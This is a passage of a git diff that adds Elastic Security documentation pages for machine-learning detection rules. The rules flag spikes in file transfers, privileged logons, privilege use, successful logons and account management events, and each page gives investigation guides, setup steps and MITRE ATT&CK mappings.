https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add Sysmon Linux integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-remote-file-transfers.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-remote-file-transfers.asciidoc new file mode 100644 index 0000000000..c9459c4e80 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-remote-file-transfers.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-spike-in-remote-file-transfers]] +=== Spike in Remote File Transfers + +A machine learning job has detected an abnormal volume of remote files shared on the host indicating potential lateral movement activity. One of the primary goals of attackers after gaining access to a network is to locate and exfiltrate valuable information. Attackers might perform multiple small transfers to match normal egress activity in the network, to evade detection. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-90m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Remote File Transfers* + + +Remote file transfer technologies facilitate data sharing across networks, essential for collaboration and operations. However, adversaries exploit these to move laterally within a network, often transferring data stealthily to avoid detection. The 'Spike in Remote File Transfers' detection rule leverages machine learning to identify unusual transfer volumes, signaling potential malicious activity by comparing against established network baselines. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and time frame associated with the abnormal file transfer activity. +- Analyze network logs and remote file transfer logs to determine the source and destination of the transfers, focusing on any unusual or unauthorized endpoints. +- Cross-reference the identified host with known assets and user accounts to verify if the activity aligns with expected behavior or if it involves unauthorized access. +- Investigate any associated user accounts for signs of compromise, such as unusual login times or locations, by reviewing authentication logs. +- Check for any recent changes or anomalies in the network baseline that could explain the spike in file transfers, such as new software deployments or legitimate large data migrations. +- Correlate the detected activity with other security alerts or incidents to identify potential patterns or coordinated attacks within the network. + + +*False positive analysis* + + +- Regularly scheduled data backups or synchronization tasks can trigger false positives. Identify these tasks and create exceptions to prevent them from being flagged. +- Automated software updates or patch management systems may cause spikes in file transfers. Exclude these systems from the rule to reduce false alerts. +- Internal data sharing between departments for legitimate business purposes might be misidentified. Establish a baseline for these activities and adjust the detection thresholds accordingly. +- High-volume data transfers during specific business operations, such as end-of-month reporting, can be mistaken for malicious activity. Temporarily adjust the rule settings during these periods to accommodate expected increases in transfer volumes. +- Frequent file transfers from trusted external partners or vendors should be monitored and, if consistently benign, added to an allowlist to minimize unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement and potential data exfiltration. Disconnect it from the network to contain the threat. +- Conduct a thorough analysis of the transferred files to determine if sensitive data was involved and assess the potential impact of the data exposure. +- Review and terminate any unauthorized remote access sessions or services on the affected host to prevent further exploitation. +- Reset credentials for any accounts that were used or potentially compromised during the incident to prevent unauthorized access. +- Apply security patches and updates to the affected systems to address any vulnerabilities that may have been exploited by the attackers. +- Monitor network traffic for any additional unusual remote file transfer activities, using enhanced logging and alerting to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- File events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-special-logon-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-special-logon-events.asciidoc new file mode 100644 index 0000000000..992a9b9b10 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-special-logon-events.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-spike-in-special-logon-events]] +=== Spike in Special Logon Events + +A machine learning job has detected a surge in special logon events for a user, indicating potential privileged access activity. A sudden spike in these events could suggest an attacker or malicious insider gaining elevated access, possibly for lateral movement or privilege escalation. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Special Logon Events* + + +Special logon events are crucial for tracking privileged access, often indicating administrative actions. Adversaries exploit these by gaining elevated access to perform unauthorized activities, such as lateral movement or privilege escalation. The detection rule leverages machine learning to identify unusual spikes in these events, signaling potential misuse and enabling timely investigation of suspicious privileged access activities. + + +*Possible investigation steps* + + +- Review the user account associated with the spike in special logon events to determine if the account is expected to have privileged access. +- Check the time and frequency of the special logon events to identify any unusual patterns or times that deviate from the user's normal behavior. +- Investigate the source IP addresses and devices from which the special logon events originated to verify if they are known and trusted. +- Examine recent changes or activities performed by the user account to identify any unauthorized or suspicious actions that may indicate privilege escalation or lateral movement. +- Correlate the special logon events with other security alerts or logs, such as failed login attempts or changes in user permissions, to gather additional context and evidence of potential malicious activity. + + +*False positive analysis* + + +- Regular administrative tasks by IT staff can trigger spikes in special logon events. To manage this, create exceptions for known administrative accounts that frequently perform legitimate privileged actions. +- Scheduled automated processes or scripts that require elevated access may cause false positives. Identify these processes and exclude them from the detection rule to prevent unnecessary alerts. +- Software updates or system maintenance activities often involve multiple privileged logons. Document these events and adjust the detection thresholds temporarily during known maintenance windows to reduce false positives. +- Users with roles that inherently require frequent privileged access, such as system administrators or security personnel, may trigger alerts. Maintain a list of such roles and apply exclusions where appropriate to avoid constant alerts for expected behavior. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized access. Disable the account or change its credentials to stop any ongoing malicious activity. +- Conduct a thorough review of recent activities associated with the affected account to identify any unauthorized changes or access to sensitive systems and data. +- If lateral movement is suspected, isolate any systems accessed by the compromised account to prevent further spread of the threat. +- Escalate the incident to the security operations center (SOC) or incident response team for a detailed investigation and to determine the full scope of the breach. +- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activities or attempts to regain access. +- Review and update access controls and permissions to ensure that only necessary privileges are granted, reducing the risk of privilege escalation. +- Enhance detection capabilities by tuning existing monitoring tools to better identify similar spikes in special logon events, leveraging insights from the current incident. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-special-privilege-use-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-special-privilege-use-events.asciidoc new file mode 100644 index 0000000000..cb5ea22ece --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-special-privilege-use-events.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-spike-in-special-privilege-use-events]] +=== Spike in Special Privilege Use Events + +A machine learning job has detected an unusual increase in special privilege usage events, such as privileged operations and service calls, for a user, suggesting potential unauthorized privileged access. A sudden spike in these events may indicate an attempt to escalate privileges, execute unauthorized tasks, or maintain persistence within a system. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Special Privilege Use Events* + + +Machine learning models monitor special privilege use, identifying anomalies that suggest unauthorized access. Adversaries exploit these privileges to escalate access, execute unauthorized actions, or maintain system persistence. The detection rule leverages ML to spot unusual spikes in privileged operations, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the user account associated with the spike in special privilege use events to determine if the activity aligns with their normal behavior or job role. +- Examine the specific privileged operations and service calls that were flagged to identify any unusual or unauthorized actions. +- Check for any recent changes in user permissions or group memberships that could explain the increase in privilege use. +- Investigate any corresponding logs or alerts around the same timeframe to identify potential indicators of compromise or related suspicious activities. +- Assess the system or application where the privilege escalation occurred for any signs of exploitation or unauthorized access attempts. +- Correlate the detected spike with known threat intelligence or recent security advisories to determine if it matches any known attack patterns or vulnerabilities. + + +*False positive analysis* + + +- Routine administrative tasks by IT personnel can trigger false positives. Regularly review and whitelist known administrative accounts to prevent unnecessary alerts. +- Scheduled maintenance activities often involve elevated privileges. Document and exclude these activities from monitoring during known maintenance windows. +- Automated scripts or services that require elevated privileges may cause spikes. Identify and exclude these scripts or services from the rule to reduce false positives. +- Software updates or installations can lead to temporary spikes in privilege use. Coordinate with IT to recognize these events and adjust monitoring rules accordingly. +- Frequent legitimate use of privileged operations by certain users or roles should be analyzed. Establish a baseline for these users and adjust the detection threshold to accommodate their normal activity levels. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized privileged operations. Disable the account or change its credentials to stop potential misuse. +- Conduct a thorough review of recent privileged operations and service calls associated with the user account to identify any unauthorized actions or changes made during the spike. +- Revoke any unnecessary privileges or access rights from the affected user account to minimize the risk of future exploitation. +- Implement additional monitoring on the affected system and user account to detect any further suspicious activities or attempts to regain unauthorized access. +- Escalate the incident to the security operations team for a deeper investigation into potential privilege escalation techniques used, referencing MITRE ATT&CK technique T1068. +- Review and update access control policies and privilege management practices to ensure they align with the principle of least privilege, reducing the risk of similar incidents. +- Conduct a post-incident analysis to identify any gaps in detection or response and enhance the machine learning model's ability to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-successful-logon-events-from-a-source-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-successful-logon-events-from-a-source-ip.asciidoc new file mode 100644 index 0000000000..8e37a0eb1f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-successful-logon-events-from-a-source-ip.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-spike-in-successful-logon-events-from-a-source-ip]] +=== Spike in Successful Logon Events from a Source IP + +A machine learning job found an unusually large spike in successful authentication events from a particular source IP address. This can be due to password spraying, user enumeration or brute force activity. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Credential Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Spike in Successful Logon Events from a Source IP* + + +This rule uses a machine learning job to detect a substantial spike in successful authentication events. This could indicate post-exploitation activities that aim to test which hosts, services, and other resources the attacker can access with the compromised credentials. + + +*Possible investigation steps* + + +- Identify the specifics of the involved assets, such as role, criticality, and associated users. +- Check if the authentication comes from different sources. +- Use the historical data available to determine if the same behavior happened in the past. +- Investigate other alerts associated with the involved users during the past 48 hours. +- Check whether the involved credentials are used in automation or scheduled tasks. +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. + + +*False positive analysis* + + +- Understand the context of the authentications by contacting the asset owners. If this activity is related to a new business process or newly implemented (approved) technology, consider adding exceptions — preferably with a combination of user and source conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Auditd Manager +- System + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required. + + +*System Integration Setup* + +The System integration allows you to collect system logs and metrics from your servers with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "system" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “System” and select the integration to see more details about it. +- Click “Add System”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “system” to an existing or a new agent policy, and deploy the agent on your system from which system log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/system[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-user-account-management-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-user-account-management-events.asciidoc new file mode 100644 index 0000000000..04abeb0127 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-user-account-management-events.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-spike-in-user-account-management-events]] +=== Spike in User Account Management Events + +A machine learning job has identified a spike in user account management events for a user, indicating potential privileged access activity. This indicates an unusual increase in actions related to managing user accounts (such as creating, modifying, or deleting accounts), which could be a sign of an attempt to escalate privileges or unauthorized activity involving account management. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in User Account Management Events* + + +The detection rule leverages machine learning to identify unusual spikes in user account management activities, such as account creation or modification, which may indicate privilege escalation attempts. Adversaries exploit these activities to gain unauthorized access or elevate privileges. By analyzing patterns and deviations from normal behavior, the rule helps detect potential misuse, enabling timely intervention. + + +*Possible investigation steps* + + +- Review the specific user account(s) involved in the spike to determine if the activity aligns with their typical behavior or role within the organization. +- Examine the timestamps of the account management events to identify any patterns or anomalies, such as activity occurring outside of normal business hours. +- Check for any recent changes in user permissions or roles that could explain the spike in account management events. +- Investigate any associated IP addresses or devices used during the account management activities to determine if they are known and trusted within the organization. +- Look for any correlated alerts or logs that might indicate concurrent suspicious activities, such as failed login attempts or access to sensitive resources. +- Consult with the user or their manager to verify if the account management activities were authorized and legitimate. + + +*False positive analysis* + + +- Routine administrative tasks can trigger spikes in user account management events. Regularly scheduled account audits or bulk updates by IT staff may appear as unusual activity. To manage this, create exceptions for known maintenance periods or specific administrative accounts. +- Automated scripts or tools used for user provisioning and de-provisioning can cause false positives. Identify these scripts and exclude their activity from the rule to prevent unnecessary alerts. +- Onboarding or offboarding processes that involve creating or deleting multiple user accounts in a short period can be mistaken for privilege escalation attempts. Document these processes and adjust the rule to recognize these patterns as normal behavior. +- Changes in organizational structure, such as mergers or departmental shifts, may lead to increased account management activities. Update the rule to accommodate these changes by temporarily adjusting thresholds or excluding specific user groups during transition periods. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized access or privilege escalation. This can be done by disabling the account or changing its password. +- Review recent account management activities for the affected user to identify any unauthorized changes or suspicious patterns. This includes checking for new account creations, modifications, or deletions. +- Conduct a thorough audit of the affected system and network segment to identify any additional compromised accounts or systems. Look for signs of lateral movement or further exploitation attempts. +- Revert any unauthorized changes made to user accounts or system configurations to their original state, ensuring that no backdoors or unauthorized access points remain. +- Notify the security team and relevant stakeholders about the incident, providing them with details of the spike in user account management events and any identified malicious activities. +- Implement additional monitoring and alerting for the affected user account and related systems to detect any further suspicious activities promptly. +- Review and update access controls and user account management policies to prevent similar incidents in the future, ensuring that only authorized personnel have the necessary privileges. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-user-lifecycle-management-change-events.asciidoc 